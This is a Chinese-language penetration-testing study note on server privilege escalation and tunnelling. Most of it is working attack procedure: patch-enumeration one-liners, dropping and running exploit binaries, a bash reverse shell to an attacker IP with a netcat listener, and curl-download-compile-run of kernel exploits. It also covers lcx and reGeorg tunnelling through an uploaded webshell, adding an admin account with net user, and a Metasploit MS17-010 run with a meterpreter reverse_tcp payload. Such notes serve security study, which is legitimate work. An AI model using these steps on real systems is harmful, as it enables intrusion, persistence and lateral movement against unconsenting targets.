服务器提权与隧道技术
服务器提权与隧道技术
提权
权限提升
获取更多的权限
水平越权 通过更换的某个ID之类的身份标识,从而使A账号获取(修改、删除等)B账号数据。 垂直提权 使用低权限身份的账号,发送高权限账号才能有的请求。 未授权访问(比如访问后台只有管理员才能访问,这时候如果没有权限验证就谁都可以为访问) 通过删除请求中的认证信息后重发该请求,依旧可以访问或者完成操作。
原理:
前端安全造成:界面判断用户等级后,代码界面部分进行可选显示
后端安全造成:数据库
比如user表(管理员和普通用户同表,用usertype判断用户等级)
id,username,password,usertype
1,admin,123456,1
2,xiaodi,123456789,2
因此如果在访问数据包中有传输用户的编号、用户组编号或类型的时候,那么尝试对这个值进行修改,就是测试越权漏洞的基本。
服务器提权
前提
一般情况下,在获得了WebShell(webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,
主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。
正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的。) 的时候,进行提权
基于WebShell 的提权技术
提权前奏 系统? Web 容器? Apache IIS Nginx 中间件? PHP asp aspx 数据库? mysql MSSQL 如果目标系统使用的是windows 平台下的Apache 容器, 一般情况下Web 用户直接就是系统权限。 如果Web 应用是java 写的,一般情况下是系统权限 提权主要就是通过whoami 命令查看当前权限是否是系统权限 windows 提权 利用系统漏洞提权 MS08067 微软发布安全通告 一个漏洞 补丁 kb MS17010 首先明确哪些漏洞可以提权,然后收集补丁信息。如果没打补丁就可以尝试提权之。 根据没有修补的补丁号,上网找利用程序,直接提权即可。 http://www.7kb.org/138.html 03 systeminfo
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
KB952004 没有安装 就可以考虑使用PR 提权,找别人写的exp(提权工具) 一般情况下是.exe 文件 把.exe 文件上传到服务器 需要找一个可写目录 上传文件夹 缓存目录 日志目录 回收站
回收站
/c C:\recycler (回收站的目录)
08
systeminfo>C:\Windows\Temp\a.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:\Windows\Temp\a.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:\Windows\Temp\a.txt
C:/inetpub/temp/IIS Temporary Compressed Files/ms15-051.exe "whoami"
[目录]c:\windows\debug\WIA
[文件]c:\windows\debug\WIA\wiatrace.log
[目录]c:\windows\Registration\CRMLog
[目录]c:\windows\System32\catroot2{F750E6C3-38EE-11D1-85E5-00C04FC295EE}
[目录]c:\windows\System32\com\dmp
[目录]c:\windows\System32\spool\drivers\color
[目录]c:\windows\System32\spool\PRINTERS
[目录]c:\windows\System32\Tasks
[目录]c:\windows\SysWOW64\com\dmp
[目录]c:\windows\SysWOW64\Tasks
[目录]c:\windows\Tasks
[目录]c:\windows\Temp
[目录]c:\windows\tracing
[文件]c:\windows\tracing\rad7BC1D.tmp
[文件]c:\php\ [缺少对象]
[文件]d:\Program Files\ [缺少对象]
[文件]e:\Program Files\ [缺少对象]
[文件]C:\recycler\ [缺少对象]
[文件]d:\recycler\ [缺少对象]
[文件]e:\recycler\ [缺少对象]
[文件]f:\recycler\ [缺少对象]
[文件]C:\wmpub\ [缺少对象]
[文件]d:\freehostmain\ [缺少对象]
[文件]C:\360rec [缺少对象]
[文件]C:\cache [缺少对象]
[文件]C:\JPEGCapture [缺少对象]
[目录]C:\Inetpub\temp\ASP Compiled Templates\
c:\windows\debug\WIA\ms15051.exe 第三方软件 Sogou输入法 提权 暴风影音 server-U FTP 服务器的组件
以下提权目标为获取最高权限用户密码
pcanywhere
vnc
数据库提权 mysql root 最高权限用户 mof udf 用户自定义函数 .dll 文件 mssql 提权 sa 最高权限用户 Linux 提权 基于WebShell 的 内核提权 uname -a cat /etc/issue cat /etc/*-release cat /etc/lsb-release cat /etc/redhat-release 根据内核版本找提权exp 一般情况下是.c 文件 找漏洞网站:www.exploit-db.com 通过反弹Shell 建立持久性连接(让服务器连接客户端) 工具:nc 也叫netcat(瑞士军刀) 本地监听端口 windows在nc文件夹(含有nc.exe的文件件)中打开powershell输入cmd再执行 nc.exe -lvvp 2333 linux的话安装过可直接执行 nc -lvvp 2333 远端服务器主动连接我们 /bin/bash -i >& /dev/tcp/攻击者IP/攻击者端口号 0<&1 文件上传:利用curl 工具从网上下载 curl https://www.exploit-db.com/download/35370.c > exp.c(利用curl工具从该网站下载下来35370.c然后保存成exp.c) curl http://192.168.1.1/35370.c > exp.c gcc exp.c -o exploit -lpthread 将exp.c 文件编译成exploit ./exploit 执行该文件,提权成功 提权要求比较严格
隧道技术
假如服务器在内网
1.利用2008 做NAT 端口转发
2.lcx 端口转发
本地 lcx.exe -listen 51 33891 本地监听51 端口的流量,然后转发到本地3389 端口上 远端服务器 lcx.exe -slave 192.168.1.1 51 127.0.0.1 3389 将127.0.0.1 的3389 端口的流量转发到远端地址192.168.1.1 的51 端口上 192.168.1.1 100.1.1.128 外网 端口:51《=====================3389:端口 内网 | | | | \/ 端口:33891 从内网可以访问外网,从外网无法访问内网 这种方法只适用于单内网的情况 服务器在内网中,攻击者需要准备一个公网的服务器。
假如服务器在内网,黑客的服务器也在内网
双内网的情况下,如图
hack webshell(使用http协议构造一个隧道) server ===================================================》 3389 考虑将3389端口的流量封装到http协议中。隧道的起始端是hack一端,尾端是server一端 cmd下拷贝文件 xcopy C:\RECYCLER\tunnel.aspx C:\Inetpub\wwwroot\8000--test\(将tunnel.asox拷贝到8000--test目录下) reGeorgSocksProxy.py -u http://192.168.1.150:8000/tunnel.aspx -p 2333(入口就是2333端口) 在kali虚拟机中为python reGeorgSocksProxy.py -u http://192.168.1.150:8000/tunnel.aspx -p 2333 执行 接下来要让流量走2333端口,需要vim /etc/proxychins.config,在该文件中配置,将socket5后的地址改成127.0.0.1 2333 接着在reGeorg-master目录下输入proxychins redesktop 100.1.1.128(用redesktop通过proxychins走2333端口,其中100.1.1.128为内网地址) windows Proxifier 让我们程序的流量走固定的端口 linux工具 proxychins
whoami
查看打过那些补丁
net user +用户名+密码 /add 创建用户
net localgroup administrators +用户名 /add 将用户添加到管理员组
net user /用户名 查看当前用户
目标用户若是开放了对应3389端口直接使用远程连接,输入用户名与密码就可以进行连接
获取最高权限管理员的用户名与密码
#MSF
Metasploit FrameWork MSF
渗透测试攻击框架
metasploit v4.14.10-dev
开发版是免费的,自动集成在kali 里
正式版是收费的
https://www.metasploit.com/
https://github.com/rapid7/metasploit-framework
跨平台的 诸葛建伟 《Metasploit 魔鬼训练营》 msf 中的脚本都是ruby 语言写的 利用“永恒之蓝”直接入侵目标系统 永恒之蓝 MS17-010 metasploit v4.16.48-dev payload 就是我们渗透攻击是所使用的代码 msfconsole 启动msf 控制台 search ms17-010 搜索某一个模块 use +模块 使用某一个模块 show options 查看某一个模块的配置 set 命令 set RHOST+IP 设置远程目标地址 set LHOST +IP 设置攻击者IP(本机) set payload meterpreter 系列 一般使用tcp 反弹连接
show payloads
set payload windows/x64/meterpreter/reverse_tcp
show payloads 显示所有可用的payload 模块 show targets 显示可用的目标 exploit 发起攻击 shell 攻击成功后输入shell开启dos命令 ipconfig
MS17-010 缓冲区溢出漏洞
比较底层 而且与系统架构和程序的内存空间有关系
程序的运行时逐条执行
通过缓冲区溢出漏洞改变了程序的执行流程
windows/x64/meterpreter/reverse_tcp
meterpreter
技术优势
平台通用性
纯内存工作模式(不会留下痕迹)
灵活且加密的通信协议
易于扩展
基本命令 background sessions sessions -i 1 quit shell